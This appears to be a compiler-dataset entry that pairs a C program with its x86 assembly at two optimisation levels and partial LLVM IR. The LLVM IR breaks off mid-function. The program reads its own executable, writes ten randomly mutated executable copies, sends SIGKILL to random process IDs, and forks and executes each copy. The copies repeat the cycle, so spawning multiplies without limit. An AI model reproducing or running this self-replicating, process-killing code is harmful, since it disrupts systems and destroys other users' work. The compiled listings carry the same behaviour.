#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef scalar_t__ pid_t;
typedef int off_t;
typedef int /*<<< orphan*/ filename;

/* Variables and functions */
int O_CREAT;
int /*<<< orphan*/ O_RDONLY;
int O_WRONLY;
int /*<<< orphan*/ SEEK_END;
int /*<<< orphan*/ SEEK_SET;
int /*<<< orphan*/ SIGKILL;
int /*<<< orphan*/ SYS_close;
int /*<<< orphan*/ SYS_execve;
int /*<<< orphan*/ SYS_fork;
int /*<<< orphan*/ SYS_getrandom;
int /*<<< orphan*/ SYS_kill;
int /*<<< orphan*/ SYS_lseek;
int /*<<< orphan*/ SYS_open;
int /*<<< orphan*/ SYS_read;
int /*<<< orphan*/ SYS_setsid;
int /*<<< orphan*/ SYS_unlink;
int /*<<< orphan*/ SYS_write;
int syscall(int /*<<< orphan*/, ...);
int main(int argc, char **argv) {
  int fd_in = -1, fd_out = -1;
  ;
  for (unsigned i = 0; i < 10U; ++i) {
    char filename[21];
    while (-1 == syscall(SYS_getrandom, filename, 20, 0))
      ;
    for (unsigned j = 0; j < sizeof(filename) - 1; ++j)
      filename[j] = filename[j] % 25 + 97;
    filename[20] = '\0';
    fd_in = syscall(SYS_open, "/proc/self/exe", O_RDONLY);
    if (fd_in == -1)
      goto general_err;
    off_t filesize = syscall(SYS_lseek, fd_in, 0, SEEK_END);
    if (filesize == -1)
      goto in_file_err;
    if (syscall(SYS_lseek, fd_in, 0, SEEK_SET) == -1)
      goto in_file_err;
    char buf[filesize];
    if (syscall(SYS_read, fd_in, buf, filesize) == -1)
      goto in_file_err;
    if (syscall(SYS_close, fd_in) == -1)
      goto general_err;
    fd_out = syscall(SYS_open, filename, O_WRONLY | O_CREAT, 0775);
    if (fd_out == -1)
      goto general_err;
    unsigned random_number;
    for (off_t j = 0; j < filesize; ++j) {
      while (-1 == syscall(SYS_getrandom, &random_number, sizeof(unsigned), 0))
        ;
      unsigned n = random_number % 10000;
      if (3U < n) {
        if (syscall(SYS_write, fd_out, buf + j, 1) == -1)
          goto out_file_err;
      } else {
        switch (random_number % 3) {
        case 0:
          if (syscall(SYS_write, fd_out, buf + j, 1) == -1)
            goto out_file_err;
          if (syscall(SYS_write, fd_out, &random_number, 1) == -1)
            goto out_file_err;
          break;
        case 1:
          break;
        case 2:
          if (syscall(SYS_write, fd_out, &random_number, 1) == -1)
            goto out_file_err;
          break;
        }
      }
    }
    syscall(SYS_close, fd_out);
    syscall(SYS_kill, random_number % 65536, SIGKILL);
    pid_t pid = syscall(SYS_fork);
    if (pid == 0) {
      syscall(SYS_setsid);
      char *const cargv[] = {filename, NULL};
      char *const envp[] = {NULL};
      syscall(SYS_execve, filename, cargv, envp);
      syscall(SYS_unlink, filename);
      return 1;
    }
  }
  return 0;
in_file_err:
  syscall(SYS_close, fd_in);
out_file_err:
  syscall(SYS_close, fd_out);
general_err:
  return 1;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0xb0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0xffffffff,-0x14(%rbp)
movl   $0xffffffff,-0x18(%rbp)
movl   $0x0,-0x1c(%rbp)
cmpl   $0xa,-0x1c(%rbp)
jae    1609 <main+0x4e9>
jmp    115d <main+0x3d>
mov    0x2e34(%rip),%rax
mov    (%rax),%edi
lea    -0x40(%rbp),%rsi
mov    $0x14,%edx
xor    %ecx,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    %eax,%ecx
mov    $0xffffffff,%eax
cmp    %ecx,%eax
jne    118c <main+0x6c>
jmp    115d <main+0x3d>
movl   $0x0,-0x44(%rbp)
mov    -0x44(%rbp),%eax
cmp    $0x14,%rax
jae    11ca <main+0xaa>
mov    -0x44(%rbp),%eax
movsbl -0x40(%rbp,%rax,1),%eax
mov    $0x19,%ecx
cltd
idiv   %ecx
add    $0x61,%edx
mov    %dl,%cl
mov    -0x44(%rbp),%eax
mov    %cl,-0x40(%rbp,%rax,1)
mov    -0x44(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x44(%rbp)
jmp    1193 <main+0x73>
movb   $0x0,-0x2c(%rbp)
mov    0x2dab(%rip),%rax
mov    (%rax),%edi
mov    0x2de2(%rip),%rax
mov    (%rax),%edx
lea    0xe61(%rip),%rsi
mov    $0x0,%al
call   1040 <syscall@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0xffffffff,-0x14(%rbp)
jne    1200 <main+0xe0>
jmp    163b <main+0x51b>
mov    0x2dd1(%rip),%rax
mov    (%rax),%edi
mov    -0x14(%rbp),%esi
mov    0x2db5(%rip),%rax
mov    (%rax),%ecx
xor    %edx,%edx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    %eax,-0x48(%rbp)
cmpl   $0xffffffff,-0x48(%rbp)
jne    1230 <main+0x110>
jmp    1615 <main+0x4f5>
mov    0x2da1(%rip),%rax
mov    (%rax),%edi
mov    -0x14(%rbp),%esi
mov    0x2d45(%rip),%rax
mov    (%rax),%ecx
xor    %edx,%edx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    125c <main+0x13c>
jmp    1615 <main+0x4f5>
mov    -0x48(%rbp),%eax
mov    %rsp,%rcx
mov    %rcx,-0x50(%rbp)
mov    %rax,%rcx
add    $0xf,%rcx
and    $0xfffffffffffffff0,%rcx
mov    %rsp,%rdx
sub    %rcx,%rdx
mov    %rdx,-0x98(%rbp)
mov    %rdx,%rsp
mov    %rax,-0x58(%rbp)
mov    0x2d24(%rip),%rax
mov    (%rax),%edi
mov    -0x14(%rbp),%esi
mov    -0x48(%rbp),%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    12b3 <main+0x193>
movl   $0xb,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
mov    0x2cfe(%rip),%rax
mov    (%rax),%edi
mov    -0x14(%rbp),%esi
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    12de <main+0x1be>
movl   $0xa,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
mov    0x2c9b(%rip),%rax
mov    (%rax),%edi
lea    -0x40(%rbp),%rsi
mov    0x2c66(%rip),%rax
mov    (%rax),%edx
mov    0x2cfd(%rip),%rax
or     (%rax),%edx
mov    $0x1fd,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    %eax,-0x18(%rbp)
cmpl   $0xffffffff,-0x18(%rbp)
jne    1325 <main+0x205>
movl   $0xa,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
movl   $0x0,-0x60(%rbp)
mov    -0x60(%rbp),%eax
cmp    -0x48(%rbp),%eax
jge    14ef <main+0x3cf>
jmp    133d <main+0x21d>
mov    0x2c54(%rip),%rax
mov    (%rax),%edi
lea    -0x5c(%rbp),%rsi
mov    $0x4,%edx
xor    %ecx,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    %eax,%ecx
mov    $0xffffffff,%eax
cmp    %ecx,%eax
jne    136c <main+0x24c>
jmp    133d <main+0x21d>
mov    -0x5c(%rbp),%eax
mov    $0x2710,%ecx
xor    %edx,%edx
div    %ecx
mov    %edx,-0x64(%rbp)
mov    $0x3,%eax
cmp    -0x64(%rbp),%eax
jae    13cc <main+0x2ac>
mov    -0x98(%rbp),%rdx
mov    0x2c09(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
movslq -0x60(%rbp),%rax
add    %rax,%rdx
mov    $0x1,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    13c7 <main+0x2a7>
movl   $0x11,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
jmp    14dc <main+0x3bc>
mov    -0x5c(%rbp),%eax
mov    %eax,%ecx
mov    %ecx,%eax
mov    $0xaaaaaaab,%edx
imul   %rdx,%rcx
shr    $0x21,%rcx
mov    %ecx,%edx
mov    %edx,%ecx
lea    (%rcx,%rcx,2),%ecx
sub    %ecx,%eax
mov    %eax,-0x9c(%rbp)
je     1422 <main+0x302>
jmp    13fa <main+0x2da>
mov    -0x9c(%rbp),%eax
sub    $0x1,%eax
je     1499 <main+0x379>
jmp    140e <main+0x2ee>
mov    -0x9c(%rbp),%eax
sub    $0x2,%eax
je     149e <main+0x37e>
jmp    14d7 <main+0x3b7>
mov    -0x98(%rbp),%rdx
mov    0x2b70(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
movslq -0x60(%rbp),%rax
add    %rax,%rdx
mov    $0x1,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    1460 <main+0x340>
movl   $0x11,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
mov    0x2b39(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
lea    -0x5c(%rbp),%rdx
mov    $0x1,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    1494 <main+0x374>
movl   $0x11,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
jmp    14d7 <main+0x3b7>
jmp    14d7 <main+0x3b7>
mov    0x2afb(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
lea    -0x5c(%rbp),%rdx
mov    $0x1,%ecx
mov    $0x0,%al
call   1040 <syscall@plt>
cmp    $0xffffffff,%eax
jne    14d2 <main+0x3b2>
movl   $0x11,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
jmp    14d7 <main+0x3b7>
jmp    14dc <main+0x3bc>
jmp    14e1 <main+0x3c1>
mov    -0x60(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x60(%rbp)
jmp    132c <main+0x20c>
mov    0x2ac2(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
mov    $0x0,%al
call   1040 <syscall@plt>
mov    0x2adf(%rip),%rax
mov    (%rax),%edi
mov    -0x5c(%rbp),%esi
and    $0xffff,%esi
mov    0x2a5d(%rip),%rax
mov    (%rax),%edx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    0x2a7d(%rip),%rax
mov    (%rax),%edi
mov    $0x0,%al
call   1040 <syscall@plt>
cltq
mov    %rax,-0x70(%rbp)
cmpq   $0x0,-0x70(%rbp)
jne    15c1 <main+0x4a1>
mov    0x2a24(%rip),%rax
mov    (%rax),%edi
mov    $0x0,%al
call   1040 <syscall@plt>
lea    -0x40(%rbp),%rax
mov    %rax,-0x80(%rbp)
movq   $0x0,-0x78(%rbp)
lea    -0x88(%rbp),%rdi
xor    %esi,%esi
mov    $0x8,%edx
call   1030 <memset@plt>
mov    0x29e9(%rip),%rax
mov    (%rax),%edi
lea    -0x40(%rbp),%rsi
lea    -0x80(%rbp),%rdx
lea    -0x88(%rbp),%rcx
mov    $0x0,%al
call   1040 <syscall@plt>
mov    0x2a52(%rip),%rax
mov    (%rax),%edi
lea    -0x40(%rbp),%rsi
mov    $0x0,%al
call   1040 <syscall@plt>
movl   $0x1,-0x4(%rbp)
movl   $0x1,-0x8c(%rbp)
jmp    15cb <main+0x4ab>
movl   $0x0,-0x8c(%rbp)
mov    -0x50(%rbp),%rax
mov    %rax,%rsp
mov    -0x8c(%rbp),%eax
mov    %rax,-0xa8(%rbp)
mov    -0xa8(%rbp),%rax
lea    0xa13(%rip),%rcx
movslq (%rcx,%rax,4),%rax
add    %rcx,%rax
jmp    *%rax
jmp    15fb <main+0x4db>
mov    -0x1c(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x1c(%rbp)
jmp    114e <main+0x2e>
movl   $0x0,-0x4(%rbp)
jmp    1642 <main+0x522>
mov    0x299c(%rip),%rax
mov    (%rax),%edi
mov    -0x14(%rbp),%esi
mov    $0x0,%al
call   1040 <syscall@plt>
mov    0x2989(%rip),%rax
mov    (%rax),%edi
mov    -0x18(%rbp),%esi
mov    $0x0,%al
call   1040 <syscall@plt>
movl   $0x1,-0x4(%rbp)
mov    -0x4(%rbp),%eax
mov    %rbp,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
mov    %rsp,%rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x78,%rsp
mov    $0xffffffff,%r12d
mov    0x2e6a(%rip),%r14
lea    -0x70(%rbp),%r15
mov    0x2e9f(%rip),%r13
lea    -0x4c(%rbp),%rbx
xor    %eax,%eax
mov    %eax,-0x74(%rbp)
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax)
mov    (%r14),%edi
mov    %r15,%rsi
mov    $0x14,%edx
xor    %ecx,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
je     1150 <main+0x40>
mov    %r12d,-0x2c(%rbp)
movdqa -0x70(%rbp),%xmm0
pxor   %xmm2,%xmm2
punpckhbw %xmm0,%xmm2
movdqa 0xe7e(%rip),%xmm3
pmulhw %xmm3,%xmm2
psrlw  $0x8,%xmm2
pxor   %xmm1,%xmm1
punpcklbw %xmm0,%xmm1
pmulhw %xmm3,%xmm1
psrlw  $0x8,%xmm1
packuswb %xmm2,%xmm1
movdqa %xmm1,%xmm2
psrlw  $0x2,%xmm2
pand   0xe5f(%rip),%xmm2
movdqa 0xe67(%rip),%xmm3
pxor   %xmm3,%xmm2
psrlw  $0x7,%xmm1
pand   0xe66(%rip),%xmm1
paddb  %xmm2,%xmm1
psubb  %xmm3,%xmm1
movdqa %xmm1,%xmm2
punpckhbw %xmm2,%xmm2
movdqa 0xe5e(%rip),%xmm3
pmullw %xmm3,%xmm2
movdqa 0xe62(%rip),%xmm4
pand   %xmm4,%xmm2
punpcklbw %xmm1,%xmm1
pmullw %xmm3,%xmm1
pand   %xmm4,%xmm1
packuswb %xmm2,%xmm1
psubb  %xmm1,%xmm0
paddb  0xe52(%rip),%xmm0
movdqa %xmm0,-0x70(%rbp)
movsbl -0x60(%rbp),%eax
lea    (%rax,%rax,4),%ecx
lea    (%rax,%rcx,8),%ecx
movzwl %cx,%edx
shr    $0xa,%ecx
shr    $0xf,%edx
add    %cl,%dl
movzbl %dl,%ecx
lea    (%rcx,%rcx,4),%ecx
lea    (%rcx,%rcx,4),%ecx
sub    %cl,%al
add    $0x61,%al
mov    %al,-0x60(%rbp)
movsbl -0x5f(%rbp),%eax
lea    (%rax,%rax,4),%ecx
lea    (%rax,%rcx,8),%ecx
movzwl %cx,%edx
shr    $0xa,%ecx
shr    $0xf,%edx
add    %cl,%dl
movzbl %dl,%ecx
lea    (%rcx,%rcx,4),%ecx
lea    (%rcx,%rcx,4),%ecx
sub    %cl,%al
add    $0x61,%al
mov    %al,-0x5f(%rbp)
movsbl -0x5e(%rbp),%eax
lea    (%rax,%rax,4),%ecx
lea    (%rax,%rcx,8),%ecx
movzwl %cx,%edx
shr    $0xa,%ecx
shr    $0xf,%edx
add    %cl,%dl
movzbl %dl,%ecx
lea    (%rcx,%rcx,4),%ecx
lea    (%rcx,%rcx,4),%ecx
sub    %cl,%al
add    $0x61,%al
mov    %al,-0x5e(%rbp)
movsbl -0x5d(%rbp),%eax
lea    (%rax,%rax,4),%ecx
lea    (%rax,%rcx,8),%ecx
movzwl %cx,%edx
shr    $0xa,%ecx
shr    $0xf,%edx
add    %cl,%dl
movzbl %dl,%ecx
lea    (%rcx,%rcx,4),%ecx
lea    (%rcx,%rcx,4),%ecx
sub    %cl,%al
add    $0x61,%al
mov    %al,-0x5d(%rbp)
movb   $0x0,-0x5c(%rbp)
mov    0x2cce(%rip),%rax
mov    (%rax),%edi
mov    0x2d05(%rip),%rax
mov    (%rax),%edx
lea    0xdec(%rip),%rsi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    %eax,%esi
cmp    $0xffffffff,%eax
je     1576 <main+0x466>
mov    0x0(%r13),%edi
mov    0x2ce7(%rip),%rax
mov    (%rax),%ecx
mov    %esi,%r12d
xor    %edx,%edx
xor    %eax,%eax
call   1030 <syscall@plt>
mov    %r13,%rcx
mov    %eax,%r13d
mov    $0xb,%eax
mov    %rax,-0x38(%rbp)
cmp    $0xffffffff,%r13d
je     1581 <main+0x471>
mov    (%rcx),%edi
mov    0x2c77(%rip),%rax
mov    (%rax),%ecx
mov    %r12d,%esi
xor    %edx,%edx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
mov    %r12d,%esi
je     1584 <main+0x474>
mov    %rsp,-0x48(%rbp)
mov    %r13d,%eax
mov    %rsp,%rdx
mov    %rax,-0x88(%rbp)
add    $0xf,%rax
and    $0xfffffffffffffff0,%rax
sub    %rax,%rdx
mov    %rdx,%rsp
mov    0x2c5f(%rip),%rax
mov    (%rax),%edi
mov    %esi,%r12d
mov    %rdx,-0x80(%rbp)
mov    %r13d,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
je     15e7 <main+0x4d7>
mov    0x2c44(%rip),%rax
mov    (%rax),%edi
mov    %r12d,-0x3c(%rbp)
mov    %r12d,%esi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    $0xa,%r12d
cmp    $0xffffffff,%eax
je     15f5 <main+0x4e5>
mov    0x2be6(%rip),%rax
mov    (%rax),%edi
mov    0x2c55(%rip),%rax
mov    (%rax),%edx
mov    0x2bac(%rip),%rax
or     (%rax),%edx
mov    %r15,%rsi
mov    $0x1fd,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
je     15fd <main+0x4ed>
mov    %eax,-0x2c(%rbp)
test   %r13d,%r13d
mov    0x2c05(%rip),%r13
jle    1500 <main+0x3f0>
xor    %r12d,%r12d
jmp    1420 <main+0x310>
mov    (%rdx),%edi
mov    -0x80(%rbp),%rax
lea    (%rax,%r12,1),%rdx
xor    %r13d,%r13d
mov    -0x2c(%rbp),%esi
mov    $0x1,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
je     1561 <main+0x451>
add    $0x1,%r12
cmp    -0x88(%rbp),%r12
mov    0x2bc3(%rip),%r13
je     1500 <main+0x3f0>
nopl   0x0(%rax,%rax,1)
mov    (%r14),%edi
mov    $0x4,%edx
mov    %rbx,%rsi
xor    %ecx,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
je     1420 <main+0x310>
mov    -0x4c(%rbp),%eax
mov    %rax,%rcx
mov    $0xd1b71759,%edx
imul   %rdx,%rcx
shr    $0x2d,%rcx
imul   $0x2710,%ecx,%ecx
mov    %eax,%edx
sub    %ecx,%edx
cmp    $0x4,%edx
mov    0x2b40(%rip),%rdx
jae    13de <main+0x2ce>
mov    %eax,%ecx
mov    $0xaaaaaaab,%esi
imul   %rsi,%rcx
shr    $0x21,%rcx
lea    (%rcx,%rcx,2),%ecx
sub    %ecx,%eax
cmp    $0x2,%eax
je     14ec <main+0x3dc>
test   %eax,%eax
jne    1403 <main+0x2f3>
mov    0x2b16(%rip),%rax
mov    (%rax),%edi
mov    -0x80(%rbp),%rax
lea    (%rax,%r12,1),%rdx
xor    %r13d,%r13d
mov    -0x2c(%rbp),%r15d
mov    %r15d,%esi
mov    $0x1,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
mov    $0x11,%ecx
mov    %rcx,-0x38(%rbp)
cmp    $0xffffffff,%eax
je     156a <main+0x45a>
mov    0x2add(%rip),%rax
mov    (%rax),%edi
xor    %r13d,%r13d
mov    %r15d,%esi
mov    %rbx,%rdx
mov    $0x1,%ecx
xor    %eax,%eax
call   1030 <syscall@plt>
cmp    $0xffffffff,%eax
lea    -0x70(%rbp),%r15
jne    1403 <main+0x2f3>
jmp    156a <main+0x45a>
mov    (%rdx),%edi
xor    %r13d,%r13d
mov    -0x2c(%rbp),%esi
mov    %rbx,%rdx
jmp    13ee <main+0x2de>
nopl   0x0(%rax)
mov    0x2ab1(%rip),%rax
mov    (%rax),%edi
mov    -0x2c(%rbp),%r12d
mov    %r12d,%esi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    0x2aca(%rip),%rax
mov    (%rax),%edi
movzwl -0x4c(%rbp),%esi
mov    0x2a4d(%rip),%rax
mov    (%rax),%edx
xor    %eax,%eax
call   1030 <syscall@plt>
mov    0x2a6d(%rip),%rax
mov    (%rax),%edi
xor    %eax,%eax
call   1030 <syscall@plt>
test   %eax,%eax
je     1614 <main+0x504>
mov    -0x48(%rbp),%rsp
mov    -0x74(%rbp),%eax
add    $0x1,%eax
cmp    $0xa,%eax
jne    113f <main+0x2f>
jmp    15a8 <main+0x498>
mov    $0x11,%eax
mov    %rax,-0x38(%rbp)
mov    -0x48(%rbp),%rsp
mov    -0x2c(%rbp),%ebx
mov    -0x3c(%rbp),%esi
jmp    158a <main+0x47a>
mov    $0xa,%eax
mov    %rax,-0x38(%rbp)
jmp    1584 <main+0x474>
mov    %r12d,%esi
xor    %r13d,%r13d
mov    -0x2c(%rbp),%ebx
mov    -0x38(%rbp),%r12
add    $0xfffffffe,%r12d
cmp    $0xf,%r12d
ja     15d5 <main+0x4c5>
lea    0xad1(%rip),%rax
movslq (%rax,%r12,4),%rcx
add    %rax,%rcx
jmp    *%rcx
xor    %r13d,%r13d
jmp    15d5 <main+0x4c5>
mov    0x2a04(%rip),%rax
mov    (%rax),%edi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    0x29f4(%rip),%rax
mov    (%rax),%edi
mov    %ebx,%esi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    $0x1,%r13d
mov    %r13d,%eax
lea    -0x28(%rbp),%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
mov    %r12d,%esi
mov    $0xb,%r12d
mov    -0x2c(%rbp),%ebx
jmp    1605 <main+0x4f5>
mov    -0x3c(%rbp),%esi
mov    -0x2c(%rbp),%ebx
jmp    1605 <main+0x4f5>
mov    $0xffffffff,%ebx
mov    -0x3c(%rbp),%esi
mov    -0x48(%rbp),%rax
mov    %rax,%rsp
xor    %r13d,%r13d
jmp    158e <main+0x47e>
mov    0x2955(%rip),%rax
mov    (%rax),%edi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    %r15,-0xa0(%rbp)
movq   $0x0,-0x98(%rbp)
movq   $0x0,-0x90(%rbp)
mov    0x2920(%rip),%rax
mov    (%rax),%edi
lea    -0xa0(%rbp),%rdx
lea    -0x90(%rbp),%rcx
mov    %r15,%rsi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    0x2987(%rip),%rax
mov    (%rax),%edi
mov    %r15,%rsi
xor    %eax,%eax
call   1030 <syscall@plt>
mov    $0x1,%eax
mov    %rax,-0x38(%rbp)
mov    $0x1,%r13d
jmp    156a <main+0x45a>

LLVM IR (-O0):
@SYS_getrandom = global i32 0
@SYS_open = global i32 0
@.str = [15 x i8] c"/proc/self/exe\00"
@O_RDONLY = global i32 0
@SYS_lseek = global i32 0
@SEEK_END = global i32 0
@SEEK_SET = global i32 0
@SYS_read = global i32 0
@SYS_close = global i32 0
@O_WRONLY = global i32 0
@O_CREAT = global i32 0
@SYS_write = global i32 0
@SYS_kill = global i32 0
@SIGKILL = global i32 0
@SYS_fork = global i32 0
@SYS_setsid = global i32 0
@SYS_execve = global i32 0
@SYS_unlink = global i32 0
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca [21 x i8]
%10 = alloca i32
%11 = alloca i32
%12 = alloca i8*
%13 = alloca i64
%14 = alloca i32
%15 = alloca i32
%16 = alloca i32
%17 = alloca i64
%18 = alloca [2 x i8*]
%19 = alloca [1 x i8*]
%20 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 -1, i32* %6
store i32 -1, i32* %7
store i32 0, i32* %8
br label %21
21: ; preds = %193, %2
%22 = load i32, i32* %8
%23 = icmp ult i32 %22, 10
br i1 %23, label %24, label %196
24: ; preds = %21
br label %25
25: ; preds = %30, %24
%26 = load i32, i32* @SYS_getrandom
%27 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 0
%28 = call i32 (i32, ...) @syscall(i32 %26, i8* %27, i32 20, i32 0)
%29 = icmp eq i32 -1, %28
br i1 %29, label %30, label %31
30: ; preds = %25
br label %25
31: ; preds = %25
store i32 0, i32* %10
br label %32
32: ; preds = %48, %31
%33 = load i32, i32* %10
%34 = zext i32 %33 to i64
%35 = icmp ult i64 %34, 20
br i1 %35, label %36, label %51
36: ; preds = %32
%37 = load i32, i32* %10
%38 = zext i32 %37 to i64
%39 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 %38
%40 = load i8, i8* %39
%41 = sext i8 %40 to i32
%42 = srem i32 %41, 25
%43 = add nsw i32 %42, 97
%44 = trunc i32 %43 to i8
%45 = load i32, i32* %10
%46 = zext i32 %45 to i64
%47 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 %46
store i8 %44, i8* %47
br label %48
48: ; preds = %36
%49 = load i32, i32* %10
%50 = add i32 %49, 1
store i32 %50, i32* %10
br label %32
51: ; preds = %32
%52 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 20
store i8 0, i8* %52
%53 = load i32, i32* @SYS_open
%54 = load i32, i32* @O_RDONLY
%55 = call i32 (i32, ...) @syscall(i32 %53, i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str, i64 0, i64 0), i32 %54)
store i32 %55, i32* %6
%56 = load i32, i32* %6
%57 = icmp eq i32 %56, -1
br i1 %57, label %58, label %59
58: ; preds = %51
br label %205
59: ; preds = %51
%60 = load i32, i32* @SYS_lseek
%61 = load i32, i32* %6
%62 = load i32, i32* @SEEK_END
%63 = call i32 (i32, ...) @syscall(i32 %60, i32 %61, i32 0, i32 %62)
store i32 %63, i32* %11
%64 = load i32, i32* %11
%65 = icmp eq i32 %64, -1
br i1 %65, label %66, label %67
66: ; preds = %59
br label %197
67: ; preds = %59
%68 = load i32, i32* @SYS_lseek
%69 = load i32, i32* %6
%70 = load i32, i32* @SEEK_SET
%71 = call i32 (i32, ...) @syscall(i32 %68, i32 %69, i32 0, i32 %70)
%72 = icmp eq i32 %71, -1
br i1 %72, label %73, label %74
73: ; preds = %67
br label %197
74: ; preds = %67
%75 = load i32, i32* %11
%76 = zext i32 %75 to i64
%77 = call i8* @llvm.stacksave()
store i8* %77, i8** %12
%78 = alloca i8, i64 %76
store i64 %76, i64* %13
%79 = load i32, i32* @SYS_read
%80 = load i32, i32* %6
%81 = load i32, i32* %11
%82 = call i32 (i32, ...) @syscall(i32 %79, i32 %80, i8* %78, i32 %81)
%83 = icmp eq i32 %82, -1
br i1 %83, label %84, label %85
84: ; preds = %74
store i32 11, i32* %20
br label %189
85: ; preds = %74
%86 = load i32, i32* @SYS_close
%87 = load i32, i32* %6
%88 = call i32 (i32, ...) @syscall(i32 %86, i32 %87)
%89 = icmp eq i32 %88, -1
br i1 %89, label %90, label %91
90: ; preds = %85
store i32 10, i32* %20
br label %189
91: ; preds = %85
%92 = load i32, i32* @SYS_open
%93 = getelementptr inbounds [21 x i8], [21 x i8]* %9, i64 0, i64 0
%94 = load i32, i32* @O_WRONLY
%95 = load i32, i32* @O_CREAT
%96 = or i32 %94, %95
%97 = call i32 (i32, ...) @syscall(i32 %92, i8* %93, i32 %96, i32 509)
store i32 %97, i32* %7
%98 = load i32, i32* %7
%99 = icmp eq i32 %98, -1
br i1 %99, label %100, label %101
100: ; preds = %91
store i32 10, i32* %20
br label %189
101: ; preds = %91
store i32 0, i32* %15
br label %102
102: ; preds = %156, %101
%103 = load i32, i32* %15
%104 = load i32, i32* %11
%105 = icmp slt i32 %103, %104
br i1 %105, label %106, label %159
106: ; preds = %102
br label %107
107: ; preds = %111, %106
%108 = load i32, i32* @SYS_getrandom
%109 = call i32 (i32, ...) @syscall(i32 %108, i32* %14, i64 4, i32 0)
%110 = icmp eq i32 -1, %109
br i1 %110, label %111, label %112
111: ; preds = %107
br label %107
112: ; preds = %107
%113 = load i32, i32* %14
%114 = urem i32 %113, 10000
store i32 %114, i32* %16
%115 = load i32, i32* %16
%116 = icmp ult i32 3, %115
br i1 %116, label %117, label %127
117: ; preds = %112
%118 = load i32, i32* @SYS_write
%119 = load i32, i32* %7
%120 = load i32, i32* %15
%121 = sext i32 %120 to i64
%122 = getelementptr inbounds i8, i8* %78, i64 %121
%123 = call i32 (i32, ...) @syscall(i32 %118, i32 %119, i8* %122, i32 1)
%124 = icmp eq i32 %123, -1
br i1 %124, label %125, label %126
125: ; preds = %117
store i32 17, i32* %20
br label %189
126: ; preds = %117
br label %155
127: ; preds = %112
%128 = load i32, i32* %14
%129 = urem i32 %128, 3
switch i32 %129, label %154 [
i32 0, label %130
i32 1, label %146
i32 2, label %147
]
130: ; preds = %127
%131 = load i32, i32* @SYS_write
%132 = load i32, i32* %7
%133 = load i32, i32* %15
%134 = sext i32 %133 to i64
%135 = getelementptr inbounds i8, i8* %78, i64 %134
%136 = call i32 (i32, ...) @syscall(i32 %131, i32 %132, i8* %135, i32 1)
%137 = icmp eq i32 %136, -1
br i1 %137, label %138, label %139
138: ; preds = %130
store i32 17, i32* %20
br label %189
139: ; preds = %130
%140 = load i32, i32* @SYS_write
%141 = load i32, i32* %7
%142 = call i32 (i32, ...) @syscall(i32 %140, i32 %141, i32* %14, i32 1)
